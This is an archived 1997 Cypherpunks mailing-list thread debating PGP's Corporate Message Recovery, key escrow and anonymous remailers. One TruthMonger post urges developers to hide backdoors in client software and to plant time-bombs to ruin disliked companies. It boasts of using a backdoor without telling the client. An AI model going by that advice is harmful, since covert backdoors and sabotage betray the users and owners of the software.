message recipients, but encrypt-to-self is also a security flaw to use
this feature.  I rant about the security risk of encrypt-to-self
periodically, as a search of the archives would show. 

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 16 Oct 1997 07:52:09 +0800
To: nobody@REPLAY.COM
Subject: fallacy alert!
In-Reply-To: <199710152145.XAA20388@basement.replay.com>
Message-ID: <199710152321.AAA01692@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Anonymous writes:
> I thought that was the whole point of the PGP design.  It makes the
> presence of third parties clear and visible to all participants.  This
> seems to be the fundamental principle.

I have noticed serveral PGPers use this fallacy also.

It is a fundamental irrelevance.  If PGP Inc has selected this
principle as a guiding principle then they're nuts.

It matters not one whit what `statement of intent' you mark PGP CMR
extended public keys with.  That statement is semantically meaningless
as a design principle because it is utterly unenforceable.

Here are two examples to show how your expectation can be broken:

- the user decrypts your message encrypted to a `company access' key,
  and then proceeds to post it to cypherpunks

- you send a message encrypted to a `company access' key, but the
  company screwed up and lost the private half of the company access
  key

In neither case is the statement of intent honoured.  There are lots
of other ways to not honour such statements of intent, such as perhaps
forwarding a copy to your own supervisor at your company, or printing
out on paper and giving to secretary to file for future reference.

> PGP is designed to allow Alice and Bob to be informed if third party
> access is built in.  Key escrow and re-encryption are inherently
> less visible forms of message access.

re-encryption and forwarding tends to be GAK pervertable, it violates
design principle 2 as explained in corollary 1 of the anti-GAK
principles.  Do not do this.  (I didn't realise the full danger of
this construct until recently, and is one result which fell out of the
exercise of developing a codified set of design rules to guide
protocol designers away from building GAK-compliant or GAKker-useful
software).

"Key escrow" is too perverted a term to know even what you are
referring to.

If you mean data recovery (my CDR proposal) it is _exactly_ as visible
as CMR.  You can affix all the statements of intent you like to it.
(For all the good it will do you.)

There can be no enforcement of statement of intents.  All you can do
is hope that companies are not lying; encourage them to behave in ways
which you consider ethical.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Thu, 16 Oct 1997 16:41:25 +0800
To: Jim Burnes <jim.burnes@ssds.com>
Subject: Re: Rules of Engagement on Video
In-Reply-To: <Pine.LNX.3.95.971015175351.565B-100000@is-chief>
Message-ID: <3445BA44.68FB@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Jim Burnes wrote:
> An award winning film, "Waco: the rules of engagement" is now
> available on video.  Previously running at Art Houses and Film
> Festivals it was produced by a few revolutionary media people.
> 
> Anyway its been lauded as a very well balanced work.  Not like those
> other people -- talking about evil, new world order conspiracies. ;-)

  I thought it was a great example of what the news really *is*, as
opposed to the 'version' of news that this-or-that segment of society
would like to hear.
  No matter what your natural prediliction for 'slanting' your world
view, the "Rules of Engagement" documentary will likely shame you
into looking at the Waco tragedy from a variety of points of view,
since it is difficult to bullshit yourself when someone else is being
so dang-blasted honest about the whole situation.

  The problem with honest people is that you see your own honesty
reflected in them, and it makes it hard to tell yourself the 'usual'
lies.
  "It wasnt' really murder, because he/she was black/communist/jewish/
republican/had bad breath...so it's not like they are really dead, and
*I* killed them."

  I would advise everyone to get a copy of "Waco:the rules of
engagement"
but not necessarily to watch it right away.
  If you have a point of view to 'defend'--if you 'need' to see one
'side'
as 'good' and the other 'side' as 'evil,' then just put the video in a
drawer somewhere until you reach the point where you get tired of all
the bullshit, including your own.
  I 'need' for Kent Crispin to be a government shill and part of the
worldwide plot against me, because I don't want to fully face everything
he has to say, just yet. There are certain things that I still want
to believe, right or wrong.
  When I get tired enough of my own bullshit in those areas, I will
fully listen to Kent's point of view and decide what logic and reason
tell me is *true*, in spite of what I *wish* to be true...
(Although I fully expect to discover, at that point in time, that Kent
 is right about *one* thing, and I am right about all of the rest.)

> Probably most noteworthy is the included FLIR FBI footage (Forward Looking
> InfraRed) which, under expert scrutiny, appears to show LEFs raining
> automatic fire down on citizen units trying to escape the final
> conflagration.  Here expert scrutiny is defined as the head of research
> for the army night vision development group.

  I was uncertain about the conclusions drawn by those making the video,
not having an adequate knowledge base to realistically make a judgement
one way or another (on the point made above), so I asked the opinion of
a friend who is 'Mr. Soldier.' (This guy would court-martial Patton for
an improper salute, quoting chapter and verse.)
  He gave me the 'standard speech' upon hearing my request (towing the
government line--defending Mom, apple-pie and the American Flag). After
having viewed the video, however, he was quite honest in telling me that
he felt that a grievous wrong had been done, by people who should have
held themselves to a higher standard, given their position of authority
and the level of ethical responsibility that comes with it.

> Its definitely the cure for those times when GAK starts looking like
> reasonable, sensible and prudent alternative.
> 
> I have absolutely no involvement or monetary connection to these
> people.  I just wish they would have put it on video first.

  I get a dollar for every video sold, so I may be a bit prejudiced.
(Just kidding!)

KiddingMonger
~~~~~~~~~~~~~
 
> "Is your religion BATF approved?"
> 
> ---------- Forwarded message ----------
> Date: Wed, 15 Oct 1997 12:34:04 -0700 (PDT)
> From: SomFord Entertainment <somford@worldnet.att.net>
> To: somford@worldnet.att.net
> Subject: "Waco: The Rules of Engagement" Video Order Form
> 
> Thanks for your interest in obtaining the video of  "Waco: The Rules of
> Engagement".
> We are pleased to announce that it is finally available!  Please check the
> website
> periodically for ongoing reviews, press, announcements and updates to the
> order form.
> 
> http://www.waco93.com/
> 
> "Waco: The Rules of Engagement"  Video Order Form
> 
> Print, Complete, And Mail This Form With Check Or Money Order To:
> SomFord Entertainment, 8778 Sunset Bl., Los Angeles, CA 90069
> 
> Questions: 310-289-3900
> 
>      1. E-Mail Address:...............................................
> 
>      2. First Name:...................................................
> 
>      3. Last Name:....................................................
> 
>      4. Street Address:...............................................
> 
>      5. Apt. No., Other Info:.........................................
> 
>      6. City:.........................................................
> 
>      7. State/Province:...............................................
> 
>      8. Country:......................................................
> 
>      9. Postal Code:..................................................
> 
>      10. Phone:.......................................................
> 
>      11. "Waco: The Rules of Engagement" Video.........Quantity:......
> 
>            $25.00 for 1 tape.
>            $22.50 each for 5 tapes.
>            $20.00 each for 10 tapes.
> 
>            Bookstores and Catalogues, Call for Bulk Order Info.
>            All Prices Include Domestic Shipping and Handling.
>            CA Residents Please Add 8.25% Sales Tax.
> 
>      12. Total:.......................................................
> 
>      Make Check or Money Order Payable to: SomFord Entertainment.
> 
>      Comments Or Special Delivery Instructions:.......................
> 
>      Please allow three weeks for delivery. Thank you for your order






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@www.video-collage.com>
Date: Thu, 16 Oct 1997 09:15:12 +0800
To: cypherpunks@Algebra.COM
Subject: Re: CFV: comp.org.cauce moderated -- support privacy and anonymity
In-Reply-To: <872169177.17960@isc.org>
Message-ID: <slrn64app4.l6f.ichudov@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text/plain



[This message has also been posted.]
[I am objecting to a proposal that seeks to ban one-way anonymous
remailers and other forms of unrepliable addresses such as spamblocked
addresses].

In news.groups, WD Baseley <wbaseley@mindspring.com> wrote:
* [my apologies to the net at large for replying sans *snecks* - I don't
* know which group is read by the person to whom I'm replying.]
* In article <3447bfd7.22958863@128.2.84.191>, phelix@vallnet.com
* >On 14 Oct 1997 11:57:07 -0400, moz@server2.mich.com (John C. Mozena) wrote:
* >>Igor Chudov @ home <ichudov@algebra.com> wrote:
* >>>Vote AGAINST comp.org.cauce which wants to outlaw anonymity and
* >>>use of spamblocked addresses. Go to news.groups and find the
* >>>CFV for comp.org.cauce, with the ballot enclosed.
* >>
* >>Vote for comp.org.cauce, which protects the utility of a newsgroup and the
* >>freedom of postmasters to not run anonymous posting services should they
* >>not so desire.
* >
* >Well, I just started reading this, and I didn't really know which way to
* >vote.  But such an anti-anonymnity stance makes the choice clear:
* >
* >vote *NO*.
* 
* Since you just started reading this, I think you need more background
* before coming to a decision.  I'm not trying to influence it one way
* or another;  I'm just trying to give you more complete information.
* I'm posting and emailing, and I'm sure that if I get it wrong I'll be
* jumped upon thoroughly in the newsgroups - feel free to look there and
* see if that happened.

By all means, as one of the opponents of the proposal and supporter
of anonymity, I ask you to do so and also get your privacy-concerned
friends to take a close look at the debate.

For example, here's what the proponent said:

Mozena>>But, what do you have against anonymity?
Mozena>
Mozena>Nothing. What right do you have, though, to force me and others to
Mozena>inconvenience ourselves so you can post anonymously or protect yourself
Mozena>from spam?

* The RFD requires posters to use addresses which receive, and reply to,
* email; in other words, no munged, faked, spamblocked, or other
* bouncing or redirecting addresses.  There is nothing that says you
* must use your real name, or any other identifier, that tells who you
* really are.  If "the-return-of-zorro@example.com" receives and replies
* to email, it can be used to post to the proposed group.  "Anonymity",
* the ability to post without anyone knowing your true identity, is not
* really the issue.  Even anonymous remailers will work if they forward
* email in both directions.  But mungs and spamblocks will not work.

These are not anonymous remailers, they offer a much lower security,
they are not very reliable by their very design, and the only 
*true* anonymity can come from a one-way remailer.

The proposal, as it stands, seeks to outlaw the one-way anonymous
remailers.

* John Mozena's comment on anonymous posting services stems, I'm pretty
* sure, from an alternative offered by several folks.  The idea was:
* posters would add an 'X-Real-Address' line to their posts;  the
* moderation bot would use that line for correspondence, but remove it
* before making the post public.  John Mozena and others at CAUCE were
* unwilling to do this because of possible legal ramifications;  John
* likened it to running an anonymous posting service, and wondered what
* the consequences would be should someone use it to post copyrighted or
* sensitive information.

Well, this is NOT true. John objected to it with the argument that he
does not like unrepliable addresses appearing in newsgroups.

Anyway, all this talk about the X-Real_Address: field is NOT related to
true anonymity, by the very definition of the latter.

-- 
	- Igor.

The average American spends a total of six (6) months in prison. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Thu, 16 Oct 1997 16:37:55 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Security flaws introduced by "other readers" in CMR
In-Reply-To: <3.0.3.32.19971015183740.008cad00@mail.io.com>
Message-ID: <3445CF62.B84@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Greg Broiled:
> As Jon Callas confirmed at the recent Cpunks physical meeting, the current
> CAK/CAM/whatever system has very weak code re policy enforcement - for
> example, it'll allow otherwise forbidden messages to pass through its
> filters if even the "--- BEGIN PGP MESSAGE ---" lines are altered or
> removed. It won't disassemble tar or zip or uuencode packages, or otherwise
> attempt to discover simple attempts to bypass the enforcement mechanisms.
> They're not trying to stop determined covert communicators - that's not
> their threat model.

  Yes, I am a lunatic, but I'm really not in that bad of shape when
compared to the 'normal' people.
  I once worked with a 'state of the art' alarm security company. They
had all the hi-tech toys, including a special 'goo' covering the
proprietary computer chip, so that it would be destroyed if anyone
messed with it.
  We installed 'the works' in a Royal Bank in Moose Jaw, Saskatchewan,
in my first week of employment, and I was with the head guy when he
finished off the job by taking me upstairs and showing me how to
tie into the phone line so the system could automatically notify
the local gendarmes when the alarms got tripped.
  As we 'finished the job,' I noticed that there was a door to the
outside, beside the power and phone boxes, which did not have a 'trip
plate' on it. I mentioned it to Mr. Head Guy, who looked at his
work order and said, "Not in the contract." We 'finished the job'
and left.
  If you are ever in Moose Jaw, Saskatchewan, drop by the Royal Bank,
climb the fire escape up to the roof, kick the fucking door down and
go grab yourself a handful of cash. (It is not *quite* that simple,
in case you are wondering.)

  I also know a man in Tucson, Arizona, who installed a $10,000 home
security system and then cut the wire to the alarm bell, because it
was too loud.

  I recognize the dangers inherent in PGP's move toward Corporate
Message Recovery, but I also recognize that there will be a thousand
Joe Schmoe's adversely affected by it for every CypherPunk who gets
backdoored as a result of misuse of the technology.
  I think that it is admirable that a number of CypherPunks are railing
loudly against something which is more likely to bring other people to
grief, rather than themselves.

  I truly believe that PGP has made some serious errors in their
current implementation of Corporate security software, but it is
something that is indeed coming, like it or not, and I have more
confidence that there may be better hope for proper changes in the 
package in the future, than I would in the 'Pretty Louis Freeh 
Privacy' software company was the first to develop the technology.

My advice? (Thanks for asking...)

1. Help to install/develop the package at companies which are run
 by decent humans, and truly have good intentions. Explain the pros
and cons to them, and what you feel are moral areas to consider 
before making changes in your suggested modus operandi.
   Oh yes...and put in a back door, or some such, so that you may
have a chance to make necessary changes if the situation changes 
in the future.

2. Help to install/develop the package at companies which need it
 and will get some such program in the future, regardless of the
 ethical functionality of the package. Explain your feelings in 
 regard to the ethics of control versus privacy and try to help
 them understand that basic human decency is in their long-term
 interest.
  Put in *several* back doors, so that you can route around any
damage they cause by putting profits ahead of ethics.

3. Help to install/develop the package at companies which have
 the worst of fascist, evil intentions. Don't bother explaining
 the ethical issues, as they will only use them as guidelines to
 do the opposite.
   Put a time-bomb in the son-of-a-bitch which will explode in
 a few months time and put them completely out of business.

  I have put some type of backdoor in *every* product I have
developed. I have used the backdoor *once*, in order to rescue
a company from their own stupidity.
  I did not inform them of my 'fix,' but let them believe that
the system 'fixed itself.' (Right...it happens all the time...)
If I *had* informed them that I had fixed their fuck-up via a
backdoor I had built in, I have no doubt they would have thanked
me profusely for my foresight, and then demanded that I remove
the backdoor.

  There was one application I developed that had the potential
to make me a very rich person if I chose to misuse a backdoor
in the future. I had to sit down, recognize the temptation and
my own weakness, and decide if it was still in my client's best
interest if I installed a back door in the product.
  The company out-and-out screwed me out of several thousand
dollars at the end of the project, and I am rather proud to
report that I considered and rejected the use of the backdoor
I installed in order to 'enforce' *justice* (and it took less
than a minute to decide it was not worth 'taking the chance' of
being wrong, and therefore a thief--or being 'right' and still
being a thief).

  I am proud of the CypherPunks who are speaking their mind, even
if it means aligning themselves against the Holy Grail of privacy
and security. 
  I believe that we should rail loud and long against those things
which we perceive to be against the interests of the privacy and
security of the individual cogs in the corporate machinery, but
should still promote the interests of a company which is probably
the best horse to back, even if there are no future guarantees.
  I also believe that we should search hard and long for ways to
throw a serious fuck into said program, just in case...

  I have already found one exploitable weakness in PGP's CMR
implementation, which shall remain my own secret.
  Any further exploitable weaknesses I find will be shared with
others, privately.

  I wish that Viacrypt had not tied their CMR software to PGP's
reputation, since it is a product based on a different concept,
but I also wish that I had picked different numbers for last
week's million dollar lottery.
  I am willing to give Viacrypt time to recognize whether or not
they have compromised ethics to a certain extent, in return for
convenience and market position. I try not to 'Nuke the bastards!'
on a whim, but I am always ready and willing to do so if it 
becomes undeniably clear that it is time to take a stand.

  I would like to thank those who have spoken out on both sides
of the issue involved, particularly in light of their willingness
to seek and listen to alternative viewpoints. I hate having to
sort through people's righteously held prejudices in order to
get to the fruits of their analytic labors.
  The issues involved in Viacrypt's choice of direction and their
chosen implementation of corporate security software is truly a
nadir point in encryption development. It is too important an
issue for any of us to take a predetermined stance in order to
defend our private points of view and predilections.

  'Schindler's List' provided an excellent viewpoint of things not
always being what they seem, or not ending up the way they started
out. At the same time, the film may be a bogus representation of 
the true facts of life involved in the situation.
  A different approach by Schindler may have resulted in a better 
or worse resolution to the events, and we shall never know, but I
do believe that the man did the best that he could.

  I plan on doing the best I can to further the spread of strong
encryption, regardless of whether or not any particular product
or implementation makes me nervous at a certain stage of its
development.
  However, I truly hope that, if I am in error, someone believing
and doing the exact opposite of myself will prevail. 

  Besides death and taxes, there is one other thing that I think
is undeniably certain...world events are changing at such an
increasingly fast pace that, regardless of the direction the 
future takes, it is *not* going to be boring.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Thu, 16 Oct 1997 17:54:15 +0800
To: Jon Callas <jon@pgp.com>
Subject: Praise the Lord! / Re: anti-GAK design principles: worked example #1
In-Reply-To: <v04001b0eb06a3d206797@[205.180.137.244]>
Message-ID: <3445E0D9.6E50@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Jon Callas wrote:
> At 11:45 PM 10/15/97 +0100, Adam Back wrote:
 
> Okay, Adam, I'll be civil here, but here's something I want to note:
> 
> You've ranted, raved, politicized, propagandized, given ad hominem attacks,
> and stated the opinion that anyone who disagrees with you is evil. You've
> sent flames to our internal development lists, which is at least impolite.
> Yet you say, "constructive criticism only." Sure. I'd like an apology from
> you, though. Deal?

  Praise the Lord!
  The CypherPunks mailing list dialogue re: CMR/PGP is CypherPissing at
its finest.

  As a cryptographer, I am pretty much a carpetbagging pretender, but,
up to now, I have managed to fool quite a number of people into thinking
that I may understand the issues involved in privacy, security and
encryption.

  Now that the shit has seriously hit the fan, however, I find that I
am completely clueless as to the true import of the latest developments
which will decide the future of encryption. (And I suspect that I am
not alone in this.)
  I believe that my philosophical viewpoints of encryption issues are
valid in many ways (and probably irrelevant in other ways), but the
current nadir point in encryption development is one in which there is
no possibility of many of us making sound decisions as to what position
we should ethically take, unless those who truly have a solid grounding
in the underlying technology manage to accurately explain the issues
involved to those of us who *don't* dream in algorithms.

  I am extremely pleased with Adam Back's in-your-face, "I'm from
Missouri...show me!" attitude, since I think that this issue is
important enough that no one should give an inch of ground until
their philosophical opponents have given them valid cause for doing
so. I am also pleased that Adam is honestly and openly asking for
those who *can* 'show' him, to do so.
  I am also every bit as interested in hearing and learning from the
position that Jon Callas is taking, based upon his own knowledge of
what CMR/PGP is, and is not.

  I honestly do not care in the least whether Adam and Jon are 'both
right', whether they are both 'half-right', or none of the above.
  What I *do* care about is that they both honestly state their case
to the extent that I have enough information to make my own decision
as to what future course of action I should take on these issues.

  My depth of concern in this matter springs from the following:
I care...and I act. As a result, my actions have effects, for which
I consider myself responsible.
  I truly believe that abortion results in the extinguishing/murder
of a divine spark of human/spiritual life energy. Yet I risked my
life and my freedom, helping my sister smuggle home-abortion 
literature into a predominantly Catholic country behind the Iron
Curtain. Why? Because it is not up to me to make the decisions
for *everyone*, and I do not believe that it is in the interest
of humanity to have *two* spirits die because those who choose
to do home abortions do not have access to information that will
preserve their life.
  The 'Right To Life' faction will publish *their* statistics and
opinions, as will the 'Pro Choice' faction, but I refuse to take
the easy way out and convince myself that I can flip a coin to
decide which faction will bear the responsibility for *my* own
decision in the matter.

  The coming developments in information technology will undoubtably
make George Orwell look like an optomist.
  We have to make our decisions without having the benefit of hindsight
that history affords us. If Hitler had indeed only wanted 'Austria', 
then the concessions that world leaders of the time made might have
proven to have saved many needless deaths. History has proven this to
be wrong, but those of us who did not live through that time would have
a difficult time divining who was 'honestly wrong' and who 'sold out.'

  How many guilty men should go free in order to guarantee that a single
innocent man is not imprisoned?
  My answer: "More than one, less than a million." (ymmv)

> Fair-warning. In my first missive, I talked about my own principles, and
> one of them is the "fair-warning" principle. It states that users should
> know what is going on. If you have a key that is used in this system, there
> is nothing in it that tells me that your company can read a message I send
> you. I see this as a flaw, and one that I consider to be a *very* big deal.
> Full disclosure is one of my hot buttons.

  I could be wrong, *but*:
  With PGP 5.0, I found that if someone sent me a message that
was encrypted to someone else, I would get a message telling me
that I didn't have the proper key, but would not tell me who the
message *was* encrypted to.
  I could drop into PGP 2.6.2 and get a message saying (paraphrased),
"Encrypted to John Doe <jd@dev.null>, you don't have that key."
(OK, *badly* paraphrased.)

  With PGP 2.6.2, I routinely used a bogus password in my first pass at
decyphering messages, so that I could find out who all the message was
encrypted to. It makes me nervous that one has to 'make a mistake' in
order to get 'the rest of the story', rather than automatically be
informed when a message is also encrypted to others.

  Also, as a 'teaser', I would like to announce to one and all that
the quickly closing saga of 'InfoWar' will include an epilogue
chapter titled, "I Broke PGP," written by myself.
  Believe it or not, I speak the truth, although not in a way that
it direct and obvious.
  If you think I am bullshiting, then stop washing your asshole,
starting today, because if you can show me I am wrong, I will kiss
your ugly, hairy ass.

Love and Kisses,
TruthMangler





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 16 Oct 1997 15:43:42 +0800
To: hoffmang@pgp.com
Subject: Re: anti-GAK design principles: worked example #1
In-Reply-To: <Pine.LNX.3.95.971015160918.16789K-100000@privnet.pgp.com>
Message-ID: <199710160711.IAA00177@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Gene Hoffman <hoffmang@pgp.com> writes:
> On Wed, 15 Oct 1997, Adam Back wrote:
> 
> > 
> > - store a copy of the private half of the users PGP encryption key
> >   encrypted to the company data recovery key on the users disk.
> > 
> 
> You would rather have PGP implement private key escrow?

Yes.  

This is less GAK friendly than the way that PGP are implementing CMR.

In worked example #2 and I might do a #3 as well, I will as promised
show you how to apply the design principles to achieve greater
GAK-hostility than example #1 which you are objected to above.

However, in the mean time, I would like you and other PGPers to
re-read my post and answer the questions contained in it:

> - can you see ways that this could be perverted to implement GAK
>   (yes I can too, btw, but...)
> - are those ways logisitically harder for GAKkers to acheive than for CMR

You appear to claim that your answer to the second question is no.

I would like to see you explain your reasoning for why this is so.

You may find it constructive to re-read some of Tim May's recent posts
as he explains the logic of this fairly clearly.  Tim May does not
need the anti-GAK design principles to think in an critical
GAK-hostile way.

PGP Inc does appear to need them because their design principles are
currently at best GAK-neutral, and appear to be largely based on
wooly, ill thought-out pro-privacy / liberal thinking.

You have to think in a crypto-anarchist, saboteur mindset to maximise
your ability to prevent mandatory GAK becoming reality.  The anti-GAK
design principles are a codification of the crypto-anarchist GAK
saboteur's natural predilections to want to prevent the GAKkers.

I have in waiting some other design principles which codify more
general crypto-anarchist design principles.  I will not be adding
these to the anti-GAK design principles at this stage for fear of
confusing the first issue: how to best prevent GAK occuring in our and
other countries.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Thu, 16 Oct 1997 17:14:36 +0800
To: Adam Back <cypherpunks@cyberpass.net
Subject: consensus on pgp? can we consolidate for action?
Message-ID: <19971016.032545.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    two of the things I was trying to do in my rant "GET WITH
    IT" on the issues may not have been clear:

     1. as Tim says, let's make sure the OpenPGP standard (which
        in itself I did not address) is for PGP by itself, none
        of the peripheral issues or means of implementing
        GAK/CAK/CMR or the rest of the faloderol.  now, if PGP,
        under market pressure wishes to allow hooks for each of
        the sins from the necessary to the unpardonable GAK
        --that is a business decision.

     2. as far as the proposed SNMP "enforcer" --that is also a
        business consideration.  however, the more PGP is
        willing to listen to some of our voices of reason[1], 
        the more likely PGP is going to be in the rather 
        enviable position which at least permits companies to 
        make a choice.

            [1] by and large, despite the polarity of the
            arguments, this issue with PGP has been one of our
            memorably sane and polite debates with so many
            threads I may need to establish a separate text
            retrievable database!  and it involves one of our
            most emotional issues:  privacy.

    the second point is critical to our interests as well as for
    PGP's stand in the industry as a whole. if the SNMP enforcer 
    product is carefully designed, it can not only provide 
    warnings for each level of security but even more 
    importantly, it does not necessarily need to provide GAK
    functionally in the standard product:

        browsers use plugins --so why not security level 
        plugins for the "Bad Daddy" SNMP enforcer?

    essentially, the SNMP is a network connected, ie- 
    communication system, supervisor to one or more "clients"
    scattered anywhere in the network which recognizes Bad 
    Daddy. some of the PGP control functions are basic, but the
    rest should go on plugin, each relating to a different level
    of sin, forgivable to abominable.

    likewise, the local PGP crypto engine should be built around
    plugins. in this manner, anyone concerned with privacy can 
    easily check for the presence of the dirty little black 
    boxes, or hopefully PGP will display a panel of "features"
    (if you can ever call invasion of absolute privacy that).

    plugins today are a nobrainer.

    personally, I would not be willing to endorse a system which
    gives the SNMP Bad Daddy the ability to retrieve my secret
    keys and PGP should permit holding my secret keys on a flop
    of some type -in other words specify a separate location 
    for the secring which we can not do now unless we move the 
    rest of PGP environment (at least as far as I have read). 

    however, if I am stupid enough to put them in a network
    accessible position for the superuser to scarf -- that's my
    problem. for use on network machines, I have a c program 
    which is effectively a one time pad to make the ring 
    accessible for as short a time as possible. I was writing
    a c code supervisor which took care of this task rather 
    neatly with an out of place checksum passwd for the pad 
    keys but have been sidetracked.

    I think we have all pretty much agreed on the necessity of
    separate signature, communication, and storage keys; Adam
    Back convinced me rather quickly (I was using only a
    separate storage key). there is less agreement on the 
    effectiveness of GAKing the communications key since some
    form of DH session keys could be deployed and mail is
    transient; eg: GAK only serves the Fed in this case, which, 
    of course, is what they want.

    I have not seen any further discussion on my suggestion to
    create a sendmail type daemon which implements DH between
    mail clients. this, of course, is on the presumption that DH 
    is a wrapper for an already encrypted packet, 

    I also agree with Adam's design on isolating the recovery 
    aspect from possible GAK outreach. although I will cop a
    plea to sometimes in the back and forth Adam was grasping
    for something which was never going to be there <g>

    bottom line: I think the consensus has already formed that
    PGP is not going to be the pristine voice crying in the 
    wilderness we all hoped to hear; now the issue is, how can
    we shape the product to have a) the most flexibility, 
    realizing full well there will be brain dead organizations
    who will insist on ordering GAK; and b) have the fewest
    potholes unknowingly enabling some level of pseudoGAK, etc.]
    again, that means focusing the pressure on PGP to keep the
    basic crypto engine pristine, and do the dirty work in Bad 
    Daddy --and use "visible" plugins.

    I can only presume PGP 5.5 is a fair ways down the pipe to
    delivery, complete with its Big Daddy SNMP enforcer; this 
    will make it all the harder to influence changes as PGP, Inc.
    appears to have grown enough in size to contain too many
    non-caring v/v real privacy (I have nothing to hide type 
    ignorance), and even more disappointing, not only technically
    ignorant, but distrustful of technology bureaucrats that 
    arrive with corporate growth -focused on 

        a)  closing off the design cycle; 
        b)  stifling the debate over methods; 
        c)  shipping product (oh, hell, we can listen to their
            complaints and make changes later...); and,
        d)  recover the vulture capital investors money.  

    if the foregoing is true, I hope PRZ has the good sense to
    take a walk, selling his stock (to do otherwise would be
    complicit in the deception of PGP's reputation capital).

    regardless of the above, if we as a group, with reasonable
    consensus, are willing to make an assault on the powers that
    be at PGP, Inc. including whatever relevant public publicity
    to heat the fire, there may be action.  hell, if we could 
    afford it (or Tim feels _real_ generous <g>), buy a NYTimes 
    page and all of us sign the "selling out our the constitution"
    with cute little graphics of children being tortured for 
    their keys.

    another point to consider:  if a majority of cypherpunks as
    a group are willing to "endorse" the pgp product, that may 
    be an issue worth discussing with pgp.  the only problem
    may be the level of the outside managers and bean counters
    which hold down the front offices, totally ignorant of 
    anything but feeelthy money; or, more probable, some cp
    subset who have been the primary contributors historically
    on these issues, and I think most of us know who the primary
    thinkers are on this issue are.  obviously we must be fully
    informed and our opinions assessed --even with divergences.
    in the end, I would like to think decisions could be settled
    by consensus, rather than Supreme Court style. <g>

    if we (and I say this as: "who's this we...")....

    despite the cynical contempt with which the mass media often
    displays to our attitudes, even resorting to name calling,
    reputation capital is not necessarily gained from main line
    press popularity, and certainly not from government
    "popularity" in this issue [particularly cogent to those of
    us "fortunate" to have received the IRS spam].  FWIW

    of course, I may be presumptuous PGP would even want to hear
    from us, let alone have any form of "Cypherpunks Inside" 
    (yuk) label on the box! particularly with the round robin 
    multi-teaming of the sleepless Jon Callas.

        this has been an attila rant...

        attila, out, one more time....

    and: it aint over 'til the fat lady sings, vahalla burning!

 "attila" sig: 1024/C20B6905/23D0 FA7F 6A8F 6066 BCAF AE56 98C0 D7B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBNEXXkb04kQrCC2kFAQHD1wQAiAMt4qP+GX0SXpF9XSuWbJc38tBWFD+U
ErAn5iAhrWkzl1/HpkmxDb8qUS9fh1fTsUjTihTOCSU8RwvtkBuzkhMm02MXxxyK
eJndaYgdpt+pluGYfrDIj9Vd3QDQVlJ0gf+o+CQ+pwQUJxYjmI/oELb0jBDnOwek
EUl1MAszW90=
=EulT
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 17 Oct 1997 15:58:08 +0800
To: Adam Back <tcmay@got.net
Subject: Re: what can we do about PGP sell out and CMR?
In-Reply-To: <v03102801b06ac04e5a12@[207.167.93.63]>
Message-ID: <3.0.3.32.19971016084223.006c0bf0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:29 PM 10/15/1997 +0100, Adam Back wrote:
>From Bill Stewart's report, given the apparent amount of effort PGP
>have put into their CMR based enforcement policy functionality, I
>predict they won't remove CMR whatever we, or Schneier, or anyone else
>says or proves about more secure less GAK-friendly ways of

They've got customers who wanted it; there's some room for making
it less controllable within their current framework (e.g. making
the behaviour for (as-yet unused) multiple CMRKs to be 
session-key-splitting rather than one-copy-per-CMRK, which is
be the more obvious implementation and is far more GAK-friendly.)

Also, the SMTP filter stuff won't go away - even if PGP Inc
dropped the product and dropped the CMRK from PGP 5.5.1 and
all future versions, once there's an API for PGP,
it's a piece of cake to write one; 
you just don't get the visibility that some keys are CMRKers, 
and you've got the inconvenience of sending more bouncegrams to 
senders telling them "to send a copy of PGP-encrypted mail to Bob,
you need to also encrypt it to Eve The PostMistress" or, 
less honestly, "... to the Exchange Gateway".
And at least the PGP SMTP filter only checks for the KeyID and
doesn't actually try to deccrypt the message.

>I also suspect they won't 
>listen to Tim's earlier argument that they do nothing about recovery

